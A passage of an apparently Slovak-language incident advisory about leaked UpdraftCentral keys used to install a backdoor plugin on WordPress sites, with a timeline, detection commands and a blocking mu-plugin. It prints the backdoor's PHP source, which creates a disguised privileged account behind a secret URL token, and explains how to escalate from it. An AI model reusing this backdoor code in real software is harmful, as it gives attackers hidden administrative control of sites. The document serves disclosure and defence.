Do\u010dasn\u00e9 rie\u0161enie<\/strong><\/td>\n| zru\u0161i\u0165 spojenie s UpdraftCentral, web skontrolova\u0165 na\u0161\u00edm skriptom, zmeni\u0165 heslo k \u00fa\u010dtu teamupdraft.com a volite\u013ene zablokova\u0165 pr\u00edkazy UpdraftCentral mal\u00fdm mu-pluginom (postup ni\u017e\u0161ie). UpdraftPlus netreba odin\u0161talova\u0165, z\u00e1lohovanie funguje \u010falej.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n V noci na 19. okt\u00f3bra 2026 poslal \u00fato\u010dn\u00edk z IP adresy 43.250.53.42<\/code> cez slu\u017ebu UpdraftCentral pr\u00edkaz plugin.upload_plugin<\/code> na tri na\u0161e WordPress weby. UpdraftCentral je slu\u017eba na vzdialen\u00fa spr\u00e1vu webov od TeamUpdraft a jej klient je zabudovan\u00fd v ka\u017edej k\u00f3pii pluginu UpdraftPlus. Na dvoch z na\u0161ich webov pr\u00edkaz pre\u0161iel a WordPress nain\u0161taloval a aktivoval nezn\u00e1my plugin. Na tre\u0165om zlyhal na opr\u00e1vneniach.<\/p>\nChyba nebola na na\u0161ej strane. V\u0161etky tri weby mali aktu\u00e1lny WordPress 7.1.3 aj UpdraftPlus 2.26.11, opraven\u00fd proti j\u00fanovej zranite\u013enosti CVE-2026-10795. \u00dato\u010dn\u00edk sa do na\u0161ich serverov nenab\u00faral a nevyu\u017eil \u017eiadnu chybu v na\u0161ej konfigur\u00e1cii. Pri\u0161iel kan\u00e1lom vzdialenej spr\u00e1vy UpdraftCentral a pr\u00edkazy podp\u00edsal platn\u00fdmi s\u00fakromn\u00fdmi k\u013e\u00fa\u010dmi dashboardu. Tie generuje a uchov\u00e1va slu\u017eba UpdraftCentral Cloud a na na\u0161ich serveroch nikdy neboli. Kto ich m\u00e1, m\u00f4\u017ee na ka\u017edom pripojenom webe bez vedomia majite\u013ea nain\u0161talova\u0165 a spusti\u0165 \u013eubovo\u013en\u00fd k\u00f3d. Preto to pova\u017eujeme za kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m slu\u017eby UpdraftCentral.<\/p>\n Kto je ohrozen\u00fd:<\/strong> ka\u017ed\u00fd web s UpdraftPlus, bezplatn\u00fdm aj pr\u00e9miov\u00fdm, ktor\u00fd je pripojen\u00fd k UpdraftCentral, teda m\u00e1 vytvoren\u00fd k\u013e\u00fa\u010d UpdraftCentral. Klienta UpdraftCentral obsahuje ka\u017ed\u00e1 z viac ako 4 mili\u00f3nov in\u0161tal\u00e1ci\u00ed UpdraftPlus. Weby, ktor\u00e9 k UpdraftCentral pripojen\u00e9 nie s\u00fa, tento \u00fatok neohrozuje, lebo pr\u00edkazy UpdraftCentral bez k\u013e\u00fa\u010da neprij\u00edmaj\u00fa. Na\u0161e weby boli pripojen\u00e9 k UpdraftCentral Cloud, teda k dashboardu, ktor\u00fd prev\u00e1dzkuje TeamUpdraft. Pod\u013ea v\u00fdrobcu sa \u00fanik net\u00fdka dashboardov UpdraftCentral hos\u0165ovan\u00fdch na vlastnom serveri. Unikli v\u0161ak aj k\u013e\u00fa\u010de pre UpdraftVault a UpdraftClone, ktor\u00e9 v\u00fdrobca medzit\u00fdm vymenil.<\/p>\nNejde o zranite\u013enos\u0165 CVE-2026-10795, o ktorej v j\u00fani p\u00edsal Wordfence: t\u00fa mali na\u0161e weby opraven\u00fa a pokusy o jej zneu\u017eitie na nich zlyh\u00e1vali.<\/p>\n Plugin je backdoor. Na tajn\u00fd odkaz mal vytvori\u0165 \u00fa\u010det so zamaskovan\u00fdmi pr\u00e1vami administr\u00e1tora a \u00fato\u010dn\u00edka do neho rovno prihl\u00e1si\u0165. Autor v\u0161ak v k\u00f3de urobil chybu, tak\u017ee backdoor nikdy nefungoval. Namiesto toho zhodil ka\u017ed\u00fa po\u017eiadavku na web, ktor\u00e1 ne\u0161la z cache, a WordPress n\u00e1m o tom poslal e-mail. V\u010faka tomu sme ho na\u0161li do nieko\u013ek\u00fdch min\u00fat a\u017e hod\u00edn.<\/p>\n TeamUpdraft sme incident nahl\u00e1sili 19. okt\u00f3bra a po\u017eiadali sme ich o vysvetlenie, ako sa k\u013e\u00fa\u010de dostali k \u00fato\u010dn\u00edkovi.<\/p>\n Ak m\u00e1te web pripojen\u00fd k UpdraftCentral, pova\u017eujte ho za potenci\u00e1lne kompromitovan\u00fd, k\u00fdm ho neover\u00edte.<\/strong> Spojenie okam\u017eite zru\u0161te a web skontrolujte pod\u013ea postupu ni\u017e\u0161ie. K 19. okt\u00f3bru 2026 sme o tomto backdoore ani o podobnom \u00fatoku po j\u00fanovej oprave nena\u0161li \u017eiadnu verejn\u00fa zmienku.<\/p>\n\u010co urobi\u0165 hne\u010f<\/h2>\n1. Zru\u0161te spojenie s UpdraftCentral<\/h3>\nV administr\u00e1cii WordPressu otvorte Nastavenia \u2192 UpdraftPlus Backups \u2192 karta \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Kliknite na \u201eManage existing keys (N)\u2026\u201c a pri ka\u017edom k\u013e\u00fa\u010di na \u201eDelete\u2026\u201c. Ak tam \u017eiadny k\u013e\u00fa\u010d nie je, web pripojen\u00fd nie je.<\/p>\n S pr\u00edstupom na pr\u00edkazov\u00fd riadok to ist\u00e9 urob\u00ed tento pr\u00edkaz v kore\u0148ovom prie\u010dinku WordPressu:<\/p>\n wp option delete updraft_central_localkeys<\/code><\/pre>\nPotom web odstr\u00e1\u0148te aj v dashboarde UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 pri webe \u2192 Remove site). Samotn\u00e9 odstr\u00e1nenie z dashboardu nesta\u010d\u00ed. \u00dato\u010dn\u00edk m\u00e1 s\u00fakromn\u00fd k\u013e\u00fa\u010d dashboardu, tak\u017ee rozhoduje zmazanie k\u013e\u00fa\u010da na webe.<\/p>\n V\u00fdrobca uv\u00e1dza, \u017ee po zmazan\u00ed k\u013e\u00fa\u010da, kontrole webu a zmene hesiel administr\u00e1torov m\u00f4\u017eete web znova pripoji\u0165. Predt\u00fdm si zme\u0148te heslo k \u00fa\u010dtu teamupdraft.com (adresu zadajte do prehliada\u010da ru\u010dne, nie cez odkaz z e-mailu), rovnak\u00e9 heslo zme\u0148te v\u0161ade, kde ste ho pou\u017eili, a znova nastavte dvojfaktorov\u00e9 overenie. Ak m\u00e1te nasaden\u00fd n\u00e1\u0161 blokovac\u00ed mu-plugin, pred nov\u00fdm pripojen\u00edm ho odstr\u00e1\u0148te. Kto pou\u017e\u00edva UpdraftVault, mus\u00ed web k nemu znova pripoji\u0165 s nov\u00fdmi \u00fadajmi.<\/p>\n 2. Overte, \u010di na webe nie je backdoor<\/h3>\nBez pr\u00edkazov\u00e9ho riadka:<\/p>\n \n- Na tej istej obrazovke UpdraftCentral kliknite na \u201eView recent UpdraftCentral log events\u2026\u201c. H\u013eadajte riadky \u201eCommand received: plugin.upload_plugin\u201c a \u201eprobe.central.updraftplus.com\u201c.<\/li>\n
- V zozname pluginov h\u013eadajte plugin s popisom \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a s n\u00e1zvom z dvoch slov a troch znakov, napr\u00edklad \u201eLoad Stack 35C\u201c.<\/li>\n
- Plugin s popisom \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c je druh\u00fd variant. Jeho \u00fa\u010det sa v zozname pou\u017e\u00edvate\u013eov nezobraz\u00ed, preto web skontrolujte aj skriptom.<\/li>\n
- V zozname pou\u017e\u00edvate\u013eov h\u013eadajte \u00fa\u010det s menom \u201eSite Tools\u201c alebo s e-mailom na
@example.org<\/code>.<\/li>\n<\/ul>\nAk backdoor na webe je, administr\u00e1cia nemus\u00ed fungova\u0165, lebo plugin zhadzuje ka\u017ed\u00fa po\u017eiadavku. Vtedy pou\u017eite pr\u00edkazov\u00fd riadok.<\/p>\n S pr\u00edkazov\u00fdm riadkom ulo\u017ete n\u00e1\u0161 kontroln\u00fd skript z konca \u010dl\u00e1nku ako check-updraftcentral.php<\/code> do kore\u0148ov\u00e9ho prie\u010dinka WordPressu a spustite:<\/p>\nwp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\nSkript ni\u010d nemen\u00ed, iba \u010d\u00edta. Prep\u00edna\u010d --skip-plugins<\/code> je d\u00f4le\u017eit\u00fd, lebo nain\u0161talovan\u00fd backdoor inak zhod\u00ed aj WP-CLI. Riadky [ALERT]<\/code> znamenaj\u00fa stopy \u00fatoku, [WARN]<\/code> vec na kontrolu a [OK]<\/code> \u010dist\u00fd v\u00fdsledok. Z\u00e1znam o prijatom pr\u00edkaze e\u0161te neznamen\u00e1, \u017ee sa plugin nain\u0161taloval (na jednom z na\u0161ich webov nepre\u0161iel), preto skript kontroluje aj s\u00fabory, vo\u013eby v datab\u00e1ze a \u00fa\u010dty. Ak n\u00e1jde \u010doko\u013evek s [ALERT]<\/code>, pokra\u010dujte \u010das\u0165ou \u201e\u010co robi\u0165, ak ho n\u00e1jdete\u201c.<\/p>\nUpdraftPlus si v logu UpdraftCentral pam\u00e4t\u00e1 iba posledn\u00fdch 50 udalost\u00ed. Na webe, kam \u010dasto chodia skenery, m\u00f4\u017ee z\u00e1znam o \u00fatoku z logu vypadn\u00fa\u0165 a skript potom pri logu hl\u00e1si [OK]<\/code>. Ak m\u00e1te pr\u00edstup k logom webov\u00e9ho servera, preh\u013eadajte aj ich (cestu upravte pod\u013ea servera, pri nginx napr\u00edklad \/var\/log\/nginx\/<\/code>):<\/p>\ngrep 'class-udrpc.php"' \/var\/log\/apache2\/*access*<\/code><\/pre>\nPr\u00edkaz n\u00e1jde po\u017eiadavky UpdraftCentral bez verzie kni\u017enice v hlavi\u010dke User-Agent, ak\u00e9 posielal \u00fato\u010dn\u00edk. Skuto\u010dn\u00fd dashboard posiela class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, tak\u017ee ho pr\u00edkaz nezachyt\u00ed.<\/p>\n3. Volite\u013ene: zablokujte pr\u00edkazy UpdraftCentral \u00faplne<\/h3>\nAk chcete ma\u0165 istotu, \u017ee web nevykon\u00e1 \u017eiadny pr\u00edkaz UpdraftCentral ani vtedy, keby na \u0148om ostal k\u013e\u00fa\u010d, ulo\u017ete do prie\u010dinka wp-content\/mu-plugins\/<\/code> s\u00fabor block-updraftcentral.php<\/code> s t\u00fdmto obsahom:<\/p>\n<?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST['udrpc_message'] ) ) {\n http_response_code( 403 );\n exit;\n}<\/code><\/pre>\nS\u00fabory v mu-plugins<\/code> WordPress na\u010d\u00edta pred be\u017en\u00fdmi pluginmi, tak\u017ee po\u017eiadavka sa zastav\u00ed sk\u00f4r, ne\u017e ju UpdraftPlus spracuje. Blokuje aj migr\u00e1ciu webov cez UpdraftPlus Migrator, ktor\u00e1 pou\u017e\u00edva ten ist\u00fd kan\u00e1l. Ke\u010f v\u00fdrobca probl\u00e9m vysvetl\u00ed a vyrie\u0161i, s\u00fabor zma\u017ete.<\/p>\nAko sme na to pri\u0161li<\/h2>\nO 5:38 n\u00e1m pri\u0161iel automatick\u00fd e-mail WordPressu: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Plugin s tak\u00fdm n\u00e1zvom sme nikdy nein\u0161talovali. Chybov\u00e1 spr\u00e1va znela Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code> a n\u00e1\u0161 web od 4:14 vracal na ka\u017ed\u00fa po\u017eiadavku chybu 500.<\/p>\nPrie\u010dinok wp-content\/plugins\/load-stack-35c\/<\/code> mal v\u0161etky s\u00fabory s rovnak\u00fdm \u010dasom z\u00e1pisu, 4:14:30. O sekundu nesk\u00f4r sa zmenil prie\u010dinok wp-content\/upgrade\/<\/code>, ktor\u00fd WordPress pou\u017e\u00edva pri rozba\u013eovan\u00ed in\u0161talovan\u00fdch pluginov. Plugin teda pri\u0161iel cez \u0161tandardn\u00fd in\u0161tal\u00e1tor WordPressu, nie cez nahratie s\u00faboru na disk. V access logu presne v tej sekunde stoj\u00ed jedin\u00e1 po\u017eiadavka:<\/p>\n43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] "POST \/ HTTP\/1.1" 200 8454 "-" "WordPress\/6.4; class-udrpc.php"<\/code><\/pre>\nclass-udrpc.php<\/code> je kni\u017enica, cez ktor\u00fa UpdraftPlus prij\u00edma pr\u00edkazy z UpdraftCentral. Jej vlastn\u00fd log (vo\u013eba updraftcentral_client_log<\/code> v datab\u00e1ze) to potvrdil: Command received: plugin.upload_plugin<\/code>.<\/p>\n\u010casov\u00e1 os<\/h2>\nWeby ozna\u010dujeme A, B a C. V\u0161etky \u010dasy s\u00fa v SEL\u010c. V\u0161etky po\u017eiadavky pri\u0161li z 43.250.53.42<\/code> (poskytovate\u013e RedSwitches) s hlavi\u010dkou User-Agent WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n\n\n\n\n| Web C<\/td>\n | 19. 10. 0:41:32<\/td>\n | 6:05:31<\/td>\n | zlyhala, k\u013e\u00fa\u010d patril pou\u017e\u00edvate\u013eovi bez pr\u00e1va in\u0161talova\u0165 pluginy<\/td>\n<\/tr>\n | \n| Web A<\/td>\n | 2:14:05<\/td>\n | 4:14:30<\/td>\n | backdoor \u201eLoad Stack 35C\u201c akt\u00edvny, web nedostupn\u00fd do 6:13<\/td>\n<\/tr>\n | \n| Web B<\/td>\n | 2:39:44<\/td>\n | 6:53:49<\/td>\n | backdoor \u201eText Gantry Eb0\u201c akt\u00edvny, odstr\u00e1nen\u00fd o 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n Sonda je spr\u00e1va adresovan\u00e1 neexistuj\u00facemu k\u013e\u00fa\u010du probe.central.updraftplus.com<\/code>. Web na \u0148u odpovie, \u017ee spr\u00e1ve nerozumie, a t\u00fdm prezrad\u00ed, \u017ee prij\u00edma pr\u00edkazy UpdraftCentral. Nasleduj\u00faci pr\u00edkaz u\u017e \u00fato\u010dn\u00edk poslal na skuto\u010dn\u00fd k\u013e\u00fa\u010d 0.central.updraftplus.com<\/code>. Na v\u0161etk\u00fdch troch weboch prebehol \u00fatok rovnako, od toho ist\u00e9ho \u00fato\u010dn\u00edka, s odstupom nieko\u013ek\u00fdch hod\u00edn.<\/p>\nAko \u00fatok prebehol<\/h2>\nPri pripojen\u00ed webu k UpdraftCentral si web vygeneruje p\u00e1r k\u013e\u00fa\u010dov RSA a verejn\u00fd k\u013e\u00fa\u010d po\u0161le slu\u017ebe UpdraftCentral Cloud. Slu\u017eba m\u00e1 vlastn\u00fd p\u00e1r k\u013e\u00fa\u010dov a webu po\u0161le iba svoj verejn\u00fd k\u013e\u00fa\u010d. S\u00fakromn\u00fd k\u013e\u00fa\u010d dashboardu ost\u00e1va u slu\u017eby. Ka\u017ed\u00fd pr\u00edkaz mus\u00ed by\u0165 za\u0161ifrovan\u00fd pre k\u013e\u00fa\u010d webu a podp\u00edsan\u00fd s\u00fakromn\u00fdm k\u013e\u00fa\u010dom dashboardu. Web ho potom vykon\u00e1 s pr\u00e1vami pou\u017e\u00edvate\u013ea, ktor\u00fd k\u013e\u00fa\u010d vo WordPresse vytvoril.<\/p>\n Pr\u00edkaz plugin.upload_plugin<\/code> pre\u0161iel na dvoch weboch celou touto kontrolou. Podrobne sme to rozobrali na webe A a vyl\u00fa\u010dili sme tieto vysvetlenia:<\/p>\n\n- Zn\u00e1ma zranite\u013enos\u0165 CVE-2026-10795.<\/strong> T\u00fdka sa verzi\u00ed UpdraftPlus do 1.26.4 (pr\u00e9miov\u00e1 do 2.26.4). Na\u0161e weby mali 2.26.11. Pokusy o jej zneu\u017eitie vid\u00edme na weboch B a C v logoch od j\u00fana z desiatok IP adries a v\u0161etky skon\u010dili hl\u00e1\u0161kou \u201eCould not decrypt incoming message\u201c.<\/li>\n
- Upraven\u00fd plugin.<\/strong> S\u00fabory
class-udrpc2.php<\/code>, central\/bootstrap.php<\/code>, central\/listener.php<\/code> a central\/host.php<\/code> s\u00fa bajt po bajte zhodn\u00e9 s ofici\u00e1lnou verziou 1.26.11 z wordpress.org.<\/li>\n- Star\u0161\u00ed form\u00e1t spr\u00e1v bez podpisu.<\/strong> K\u00f3d ho pre k\u013e\u00fa\u010de UpdraftCentral odmieta a z\u00e1znam \u201eCommand received\u201c vznik\u00e1 a\u017e po tejto kontrole.<\/li>\n
- Podvrhnut\u00fd k\u013e\u00fa\u010d dashboardu.<\/strong> Odtla\u010dky k\u013e\u00fa\u010dov s\u00fa rovnak\u00e9 v denn\u00fdch z\u00e1loh\u00e1ch z 15. a\u017e 18. okt\u00f3bra aj v \u017eivej datab\u00e1ze a v access logoch nikto nevolal funkciu na v\u00fdmenu k\u013e\u00fa\u010da.<\/li>\n
- Slab\u00e1 kryptografia.<\/strong> K\u013e\u00fa\u010d webu aj dashboardu maj\u00fa RSA 2048 bitov s exponentom 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, v ktorej je opraven\u00e1 zn\u00e1ma chyba v overovan\u00ed podpisov.<\/li>\n
- Napadnut\u00fd wp-admin.<\/strong> Nezn\u00e1mi administr\u00e1tori nepribudli, kontroln\u00e9 s\u00fa\u010dty jadra aj pluginov sedia a v logoch nie je \u017eiadne nahratie pluginu cez administr\u00e1ciu.<\/li>\n<\/ol>\n
\u00dato\u010dn\u00edk teda mal s\u00fakromn\u00e9 k\u013e\u00fa\u010de dashboardu pre v\u0161etky tri spojenia naraz. Na na\u0161ich serveroch tieto k\u013e\u00fa\u010de nikdy neboli, tak\u017ee odtia\u013e unikn\u00fa\u0165 nemohli. Pr\u00edkazy pritom nepri\u0161li zo servera TeamUpdraft. Skuto\u010dn\u00fd dashboard posielal na web B v marci a apr\u00edli 2026 pr\u00edkazy s hlavi\u010dkou User-Agent:<\/p>\n WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n\u00dato\u010dn\u00edk posielal WordPress\/6.4; class-udrpc.php<\/code>, bez verzie kni\u017enice a bez URL, zo svojho servera. K\u013e\u00fa\u010de teda unikli z prostredia UpdraftCentral Cloud a \u00fato\u010dn\u00edk ich pou\u017eil mimo neho.<\/p>\nTeamUpdraft 19. okt\u00f3bra potvrdil, \u017ee cez v\u00edkend 17. a 18. okt\u00f3bra mal \u00fato\u010dn\u00edk pr\u00edstup na teamupdraft.com a pravdepodobne aj k z\u00e1kazn\u00edckej datab\u00e1ze vr\u00e1tane k\u013e\u00fa\u010dov UpdraftCentral. K\u013e\u00fa\u010de teda unikli z infra\u0161trukt\u00fary v\u00fdrobcu. Zodpoved\u00e1 tomu aj \u010dasov\u00e1 os: k\u013e\u00fa\u010de pre weby B a C existovali od novembra 2025 a \u00fato\u010dn\u00edk ich nepou\u017eil a\u017e do noci z 18. na 19. okt\u00f3bra, teda hne\u010f po \u00faniku. Ako sa \u00fato\u010dn\u00edk na teamupdraft.com dostal, v\u00fdrobca neuviedol.<\/p>\n Na webe C \u00fatok zlyhal pre n\u00e1hodu. K\u013e\u00fa\u010d tam v novembri 2025 vytvoril pou\u017e\u00edvate\u013e, ktor\u00fd u\u017e nie je administr\u00e1tor. UpdraftCentral pred in\u0161tal\u00e1ciou overuje, \u010di m\u00e1 vlastn\u00edk k\u013e\u00fa\u010da pr\u00e1va install_plugins<\/code> a activate_plugins<\/code>. Nemal ani jedno.<\/p>\nPre\u010do ide o kritick\u00fd probl\u00e9m UpdraftCentral<\/h2>\nKlient UpdraftCentral je s\u00fa\u010das\u0165ou ka\u017edej k\u00f3pie UpdraftPlus, bezplatnej aj pr\u00e9miovej. Zapne sa, ke\u010f majite\u013e pripoj\u00ed web k dashboardu. Odvtedy web vykon\u00e1 ka\u017ed\u00fd pr\u00edkaz podp\u00edsan\u00fd k\u013e\u00fa\u010dom dashboardu s pr\u00e1vami administr\u00e1tora, ktor\u00fd spojenie vytvoril, vr\u00e1tane nahratia a aktiv\u00e1cie \u013eubovo\u013en\u00e9ho pluginu. Majite\u013e webu pr\u00edkaz nepotvrdzuje a v na\u0161om pr\u00edpade n\u00e1s o \u0148om ni\u010d neupozornilo. K\u013e\u00fa\u010de na strane webu nemaj\u00fa dobu platnosti: tie z novembra 2025 fungovali aj v okt\u00f3bri 2026.<\/p>\n Bezpe\u010dnos\u0165 v\u0161etk\u00fdch pripojen\u00fdch webov tak stoj\u00ed na jedinom predpoklade, \u017ee s\u00fakromn\u00e9 k\u013e\u00fa\u010de dashboardu neunikn\u00fa. Unikli, a \u00fato\u010dn\u00edk z jedn\u00e9ho miesta za p\u00e1r hod\u00edn ovl\u00e1dol dva weby a pok\u00fasil sa o tret\u00ed. UpdraftPlus m\u00e1 viac ako 4 mili\u00f3ny akt\u00edvnych in\u0161tal\u00e1ci\u00ed. Po\u010dtom in\u0161tal\u00e1ci\u00ed ho medzi pluginmi so z\u00e1lohovan\u00edm na wordpress.org predbieha iba All-in-One WP Migration (5+ mili\u00f3nov), ktor\u00fd sl\u00fa\u017ei hlavne na migr\u00e1ciu webov. UpdraftCentral pou\u017e\u00edva len \u010das\u0165 pou\u017e\u00edvate\u013eov UpdraftPlus, aj mal\u00fd podiel zo 4 mili\u00f3nov v\u0161ak znamen\u00e1 ve\u013ea webov.<\/p>\n Ten ist\u00fd kan\u00e1l u\u017e raz zlyhal. V j\u00fani 2026 v\u00fdrobca opravil zranite\u013enos\u0165 CVE-2026-10795 (CVSS 8.1), cez ktor\u00fa mohol \u00fato\u010dn\u00edk bez prihl\u00e1senia podvrhn\u00fa\u0165 pr\u00edkazy UpdraftCentral a nain\u0161talova\u0165 a aktivova\u0165 \u0161kodliv\u00fd plugin. Pokusy o jej zneu\u017eitie zachyt\u00e1vame v na\u0161ich logoch dodnes.<\/p>\n \u010co presne backdoor rob\u00ed<\/h2>\nPlugin m\u00e1 p\u00e4\u0165 s\u00faborov, ale logiku obsahuje iba hlavn\u00fd. Tu je jeho podstatn\u00e1 \u010das\u0165 zo vzorky z webu A. Token a heslo sme skr\u00e1tili:<\/p>\n define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH\u2026' ); \/\/ 32 znakov\ndefine( 'LOADSTACK35C_FIELD', '_9f5696' );\ndefine( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );\ndefine( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw\u2026' ); \/\/ 22 znakov\n\nfinal class LoadStack35c {\n private function __construct() {\n add_action( 'init', array( $this, 'handle_sync' ), 1 );\n }\n\n public function handle_sync() {\n if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n $user = get_user_by( 'login', self::SVC_LOGIN );\n if ( ! $user ) {\n $uid = wp_insert_user( array(\n 'user_login' => self::SVC_LOGIN,\n 'user_pass' => self::SVC_PASS,\n 'user_email' => self::SVC_LOGIN . '@example.org',\n 'display_name' => 'Site Tools',\n 'role' => 'editor',\n ) );\n if ( is_wp_error( $uid ) ) return;\n $u = new WP_User( $uid );\n $u->add_cap( 'manage_options' );\n $u->add_cap( 'install_plugins' );\n $user = get_user_by( 'id', $uid );\n }\n wp_set_current_user( $user->ID, $user->user_login );\n wp_set_auth_cookie( $user->ID, true, is_ssl() );\n wp_safe_redirect( admin_url( 'index.php' ) );\n exit;\n }\n }\n}\n\nregister_activation_hook( __FILE__, function () {\n if ( ! get_option( 'load_stack_35c_sync_token' ) ) {\n update_option( 'load_stack_35c_sync_token', 'j0j8nxxH\u2026', false );\n }\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\nTakto by fungoval, keby v \u0148om nebola chyba:<\/p>\n \n- Pri ka\u017edej po\u017eiadavke na web sa zaves\u00ed na akciu
init<\/code> s prioritou 1, teda sk\u00f4r ne\u017e v\u00e4\u010d\u0161ina ostatn\u00fdch pluginov.<\/li>\n- Pozrie sa, \u010di adresa obsahuje parameter
?_9f5696=<\/code>, a jeho hodnotu porovn\u00e1 s 32-znakov\u00fdm tokenom. Porovn\u00e1va funkciou hash_equals<\/code>, ktor\u00e1 trv\u00e1 rovnako dlho bez oh\u013eadu na zhodu, tak\u017ee token sa ned\u00e1 uh\u00e1dnu\u0165 meran\u00edm \u010dasu odpovede. Bez spr\u00e1vneho tokenu sa nestane ni\u010d a web sa spr\u00e1va norm\u00e1lne.<\/li>\n- So spr\u00e1vnym tokenom vytvor\u00ed pou\u017e\u00edvate\u013ea
data-ops43<\/code> s heslom zap\u00edsan\u00fdm v plugine, e-mailom data-ops43@example.org<\/code> a zobrazovan\u00fdm menom \u201eSite Tools\u201c.<\/li>\n- D\u00e1 mu rolu Editor a k tomu dve samostatn\u00e9 opr\u00e1vnenia:
manage_options<\/code> a install_plugins<\/code>.<\/li>\n- Prihl\u00e1si n\u00e1v\u0161tevn\u00edka ako tohto pou\u017e\u00edvate\u013ea cez
wp_set_auth_cookie<\/code> s vo\u013ebou \u201ezapam\u00e4ta\u0165 si ma\u201c, teda cookie platnou 14 dn\u00ed. Prihlasovac\u00ed formul\u00e1r t\u00fdm \u00faplne ob\u00edde, tak\u017ee na\u0148 nep\u00f4sob\u00ed dvojfaktorov\u00e9 overenie, obmedzenie po\u010dtu pokusov ani ochrana prihl\u00e1senia vo Wordfence.<\/li>\n- Presmeruje ho do administr\u00e1cie.<\/li>\n<\/ol>\n
Rola Editor s dvoma opr\u00e1vneniami navy\u0161e je z\u00e1mer. V zozname pou\u017e\u00edvate\u013eov sa \u00fa\u010det ukazuje ako Editor, nie Administr\u00e1tor, tak\u017ee pri be\u017enej kontrole adminov ho prehliadnete. Prakticky m\u00e1 v\u0161ak pln\u00fa moc nad webom:<\/p>\n \ninstall_plugins<\/code> dovol\u00ed nahra\u0165 \u013eubovo\u013en\u00fd plugin. Jeho PHP s\u00fabory sa daj\u00fa spusti\u0165 priamo cez URL aj bez aktiv\u00e1cie, \u010do znamen\u00e1 spustenie \u013eubovo\u013en\u00e9ho k\u00f3du na serveri.<\/li>\nmanage_options<\/code> spr\u00edstupn\u00ed v\u0161etky nastavenia. Sta\u010d\u00ed zapn\u00fa\u0165 registr\u00e1ciu a predvolen\u00fa rolu nastavi\u0165 na administr\u00e1tora, a \u00fato\u010dn\u00edk si vytvor\u00ed plnohodnotn\u00e9ho admina.<\/li>\n- Editor m\u00e1 na be\u017enom WordPresse aj
unfiltered_html<\/code>, tak\u017ee m\u00f4\u017ee do \u010dl\u00e1nkov vlo\u017ei\u0165 JavaScript, ktor\u00fd sa spust\u00ed v prehliada\u010di ka\u017ed\u00e9ho administr\u00e1tora.<\/li>\n<\/ul>\nBackdoor m\u00e1 aj druh\u00fa vrstvu. Vytvoren\u00fd \u00fa\u010det so zn\u00e1mym heslom ostane vo WordPresse aj po odstr\u00e1nen\u00ed pluginu a \u00fato\u010dn\u00edk sa n\u00edm vie prihl\u00e1si\u0165 cez be\u017en\u00fd formul\u00e1r, ak tento \u00fa\u010det nem\u00e1 zapnut\u00e9 dvojfaktorov\u00e9 overenie.<\/p>\n Chyba, ktor\u00e1 n\u00e1s zachr\u00e1nila<\/h3>\nKon\u0161tanty s\u00fa definovan\u00e9 funkciou define()<\/code> ako glob\u00e1lne (LOADSTACK35C_FIELD<\/code>), ale k\u00f3d ich \u010d\u00edta ako kon\u0161tanty triedy (self::FIELD<\/code>). Trieda \u017eiadne kon\u0161tanty nem\u00e1. PHP 8 preto pri prvom vyhodnoten\u00ed self::FIELD<\/code> vyhod\u00ed Error: Undefined constant LoadStack35c::FIELD<\/code>. Stane sa to e\u0161te pred kontrolou tokenu, teda pri ka\u017edej po\u017eiadavke: pri be\u017enej n\u00e1v\u0161teve, v administr\u00e1cii, pri prihl\u00e1sen\u00ed, v REST API, pri crone aj vo WP-CLI. Web pad\u00e1 s chybou 500 a obsluhuje len str\u00e1nky ulo\u017een\u00e9 v cache.<\/p>\nPo\u017eiadavka s in\u0161tal\u00e1ciou pritom dobehla \u00faspe\u0161ne. UpdraftCentral sprac\u00fava pr\u00edkazy a\u017e v akcii wp_loaded<\/code>, ktor\u00e1 prich\u00e1dza po init<\/code>, tak\u017ee v tej po\u017eiadavke sa chybn\u00fd k\u00f3d nespustil. \u00dato\u010dn\u00edk dostal potvrdenie o \u00faspechu a o chybe sa z odpovede nedozvedel. Spadli a\u017e nasleduj\u00face po\u017eiadavky.<\/p>\n\u00dato\u010dn\u00edkovi v\u0161ak sta\u010d\u00ed opravi\u0165 p\u00e1r znakov a \u010fal\u0161ia vlna m\u00f4\u017ee fungova\u0165. Ak u seba n\u00e1jdete podobn\u00fd \u201epokazen\u00fd\u201c plugin, neopravujte ho.<\/strong> Oprava by backdoor zapla. Odstr\u00e1\u0148te ho.<\/p>\n\u010eal\u0161ie detaily<\/h3>\n\n- Plugin sa tv\u00e1ri ako be\u017en\u00fd doplnok: m\u00e1 \u00fapln\u00fa hlavi\u010dku, licenciu GPL,
Text Domain<\/code>, popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a vymyslen\u00e9 vydavate\u013estvo (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n- S\u00fabory
